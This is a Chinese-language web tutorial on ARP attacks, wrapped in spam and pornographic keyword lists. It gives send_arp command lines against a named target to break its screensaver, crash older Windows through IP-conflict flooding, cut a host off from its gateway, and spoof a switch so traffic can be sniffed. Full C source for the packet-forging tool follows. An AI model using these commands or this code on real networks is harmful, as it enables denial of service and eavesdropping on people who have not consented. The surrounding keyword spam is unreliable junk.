六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

玩轉(zhuǎn)arp

[摘要]以下討論的機(jī)子有 一個(gè)要攻擊的機(jī)子:10.5.4.178 硬件地址:52:54:4C:98:EE:2F 我的機(jī)子: :10.5.3.69 硬件地址:52:54:4C:98:ED:C5...

以下討論的機(jī)子有

一個(gè)要攻擊的機(jī)子:10.5.4.178

硬件地址:52:54:4C:98:EE:2F

我的機(jī)子: :10.5.3.69

硬件地址:52:54:4C:98:ED:C5

網(wǎng)關(guān): 10.5.0.3

硬件地址:00:90:26:3D:0C:F3

一臺(tái)交換機(jī)另一端口的機(jī)子:10.5.3.3

硬件地址:52:54:4C:98:ED:F7

一:用ARP破WINDOWS的屏保

原理:利用IP沖突的級(jí)別比屏保高, 當(dāng)有沖突時(shí), 就會(huì)

跳出屏保。

關(guān)鍵:ARP包的數(shù)量適當(dāng)。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3

10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP導(dǎo)致IP沖突, 死機(jī)

原理:WINDOWS 9X, NT4在處理IP沖突時(shí), 處理不過(guò)來(lái), 導(dǎo)致死機(jī)。

注: 對(duì)WINDOWS 2K, LINUX相當(dāng)于flooding,只是比一般的FLOODING

有效的多.對(duì)LINUX, 明顯系統(tǒng)被拖慢。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3

10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺騙網(wǎng)關(guān), 可導(dǎo)致局域網(wǎng)的某臺(tái)機(jī)子出不了網(wǎng)關(guān)。

原理:用ARP應(yīng)答包去刷新對(duì)應(yīng)著要使之出不去的機(jī)子。

[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22

10.5.4.178 00:90:26:3D:0C:F3 1

注意:如果單單如上的命令, 大概只能有效幾秒鐘, 網(wǎng)關(guān)機(jī)子里的ARP

高速緩存會(huì)被被攻擊的機(jī)子正確刷新, 于是只要...

四:用ARP欺騙交換機(jī), 可監(jiān)聽到交換機(jī)另一端的機(jī)子。

可能需要修改一下send_arp.c,構(gòu)造如下的數(shù)據(jù)包。

ethhdr

srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H

arphdr

hwtype:1 protol:800H hw_size:6 pro_size:4 op:1

s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3

d_ha:00:00:00:00:00:00 d_ip:10.5.3.3

然后就可以sniffer了。

原理:

交換機(jī)是具有記憶MAC地址功能的,它維護(hù)一張MAC地址和它的口號(hào)表

所以你可以先來(lái)個(gè)ARP 欺騙,然后就可以監(jiān)聽了

不過(guò)需要指出,欺騙以后,同一個(gè)MAC地址就有兩個(gè)端口號(hào)

yuange說(shuō), “這樣其實(shí)就是一個(gè)競(jìng)爭(zhēng)問(wèn)題。 ”

好象ARP 以后,對(duì)整個(gè)網(wǎng)絡(luò)會(huì)有點(diǎn)影響,不過(guò)我不敢確定

既然是競(jìng)爭(zhēng),所以監(jiān)聽也只能監(jiān)聽一部分,不象同一HUB下的監(jiān)聽。

對(duì)被監(jiān)聽者會(huì)有影響, 因?yàn)樗袅艘徊糠謹(jǐn)?shù)據(jù)。

當(dāng)然還有其他一些應(yīng)用, 需要其他技術(shù)的配合。

以下是send_arp.c的源程序

/*

This program sends out one ARP packet with source/target IP

and Ethernet hardware addresses suuplied by the user. It

compiles and works on Linux and will probably work on any

Unix that has SOCK_PACKET. [email protected]

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define ETH_HW_ADDR_LEN 6

#define IP_ADDR_LEN 4

#define ARP_FRAME_TYPE 0x0806

#define ETHER_HW_TYPE 1

#define IP_PROTO_TYPE 0x0800

#define OP_ARP_REQUEST 2

#define OP_ARP_QUEST 1

#define DEFAULT_DEVICE "eth0"

char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev

usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet

{

u_char targ_hw_addr[ETH_HW_ADDR_LEN];

u_char src_hw_addr[ETH_HW_ADDR_LEN];

u_short frame_type;

u_short hw_type;

u_short prot_type;

u_char hw_addr_size;

u_char prot_addr_size;

u_short op;

u_char sndr_hw_addr[ETH_HW_ADDR_LEN];

u_char sndr_ip_addr[IP_ADDR_LEN];

u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];

u_char rcpt_ip_addr[IP_ADDR_LEN];

u_char padding[18];

};

void die (char *);

void get_ip_addr (struct in_addr *, char *);

void get_hw_addr (char *, char *);

int main (int argc, char * argv[])

{

struct in_addr src_in_addr, targ_in_addr;

struct arp_packet pkt;

struct sockaddr sa;

int sock;

int j,number;

if (argc != 6)

die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));

if (sock < 0)

{

perror("socket");

exit(1);

}

number=atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);

pkt.hw_type = htons(ETHER_HW_TYPE);

pkt.prot_type = htons(IP_PROTO_TYPE);

pkt.hw_addr_size = ETH_HW_ADDR_LEN;

pkt.prot_addr_size = IP_ADDR_LEN;

pkt.op = htons(OP_ARP_QUEST);

get_hw_addr(pkt.targ_hw_addr, argv[4]);

get_hw_addr(pkt.rcpt_hw_addr, argv[4]);

get_hw_addr(pkt.src_hw_addr, argv[2]);

get_hw_addr(pkt.sndr_hw_addr, argv[2]);

get_ip_addr(&src_in_addr, argv[1]);

get_ip_addr(&targ_in_addr, argv[3]);

memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);

memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);

for (j=0;j {

if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)

{

perror("sendto");

exit(1);

}

}

exit(0);

}

void die (char *str)

{

fprintf(stderr,"%s ",str);

exit(1);

}

void get_ip_addr (struct in_addr *in_addr, char *str)

{

struct hostent *hostp;

in_addr->s_addr = inet_addr(str);

if(in_addr->s_addr == -1)

{

if ((hostp = gethostbyname(str)))

bcopy(hostp->h_addr, in_addr, hostp->h_length);

else {

fprintf(stderr, "send_arp: unknown host %s ", str);

exit(1);

}

}

}

void get_hw_addr (char *buf, char *str)

{

int i;

char c, val;

for(i = 0; i < ETH_HW_ADDR_LEN; i++)

{

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c >= 'a' && c <= 'f')

val = c-'a'+10;

else

die("Invalid hardware address");

*buf = val << 4;

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c >= 'a' && c <= 'f')

val = c-'a'+10;

else

die("Invalid hardware address");

*buf++ = val;

if (*str == ':')

str++;

}

}


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。




標(biāo)簽:玩轉(zhuǎn)arp 
主站蜘蛛池模板: 日韩黄色片视频 | 天天玩夜夜操 | 欧美一级淫片aaaaaaa视频 | 性视频网| 日韩无砖专区 | 五月天色网址 | 日韩一级一欧美一级国产 | 一二三四免费观看高清动漫视频 | 天天爱夜夜 | 日本高清视频在线播放 | 日本精品欧洲www | 无人精品乱码一区二区三区 | 在线视免费频观看韩国aaa | 色视频网站色视频播放 | 天堂精品 | 日韩三级毛片 | 日韩专区中文字幕 | 青娱乐极品视频在线观看 | 网站一级片 | 欧美中文字幕在线看 | 五月激情网站 | 日韩精品123 | 亚洲成片 | 日本免费爱爱视频 | 色我网站| 色噜噜狠狠色综合欧洲 | 日韩不卡在线观看 | 日本三级视频在线播放 | 天天草夜夜骑 | 亚洲天堂资源网 | 日本中文字幕在线 | 青青在线视频免费看观看 | 日本www视频在线观看 | 色天使色婷婷丁香久久综合 | 五月丁香六月综合av | 伊人久久大香线蕉免费视频 | 欧美特黄一级大片 | 天天色天天综合网 | 日本乱人伦片中文字幕三区 | 伊人222成人综合网 伊人.com | 天堂中文网 |